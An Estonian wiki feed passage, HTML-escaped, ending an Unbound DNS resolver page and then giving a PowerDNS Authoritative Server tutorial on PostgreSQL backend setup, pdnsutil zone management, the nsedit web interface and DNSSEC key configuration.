ROOT_TRUST_ANCHOR_UPDATE=&amp;quot;true&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ -f /etc/default/unbound ]; then&lt;br /&gt;
    . /etc/default/unbound&lt;br /&gt;
&lt;br /&gt;
    case &amp;quot;x$RESOLVCONF&amp;quot; in xfalse|x0|xno)&lt;br /&gt;
        RESOLVCONF=&amp;quot;false&amp;quot;&lt;br /&gt;
        ;;&lt;br /&gt;
    esac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
t&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
server:&lt;br /&gt;
    interface: 127.0.0.1&lt;br /&gt;
    port: 53&lt;br /&gt;
    do-ip4: yes&lt;br /&gt;
    do-ip6: no&lt;br /&gt;
&lt;br /&gt;
    access-control: 127.0.0.1/32 allow&lt;br /&gt;
    module-config: &amp;quot;iterator&amp;quot;&lt;br /&gt;
    verbosity: 1&lt;br /&gt;
    use-syslog: yes&lt;br /&gt;
    log-queries: yes&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;xxx.ee&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.111&lt;br /&gt;
&lt;br /&gt;
forward-zone:&lt;br /&gt;
  name: &amp;quot;.&amp;quot;&lt;br /&gt;
  forward-addr: 10.0.9.4&lt;br /&gt;
  forward-addr: 10.0.9.5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://unbound.net/&lt;br /&gt;
* http://unbound.nlnetlabs.nl/pipermail/unbound-users/&lt;br /&gt;
* http://www.howtoforge.com/installing-using-unbound-nameserver-on-debian-etch&lt;br /&gt;
* http://www.nlnetlabs.nl/publications/dnssec_howto/index.html&lt;br /&gt;
* http://secspider.cs.ucla.edu/islands.html&lt;br /&gt;
* https://itar.iana.org/&lt;br /&gt;
* https://ns.iana.org/dnssec/status.html&lt;br /&gt;
* https://dlv.isc.org/&lt;br /&gt;
* http://en.wikipedia.org/wiki/AS112&lt;br /&gt;
* [[:Pädeva nimeserveri NSD kasutamine]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4242</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4242"/>
		<updated>2026-06-17T11:03:37Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Käsundamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* DNSSEC puhul on PowerDNS tarkvarale iseloomulik, et kõik DNSSEC moodustatakse käigult, st midagi ei ole salvestatud (well, midagi puhverdatakse, aga rrsig moodi kirjeid jms ei hoita nö tsoonifaili kujul)&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
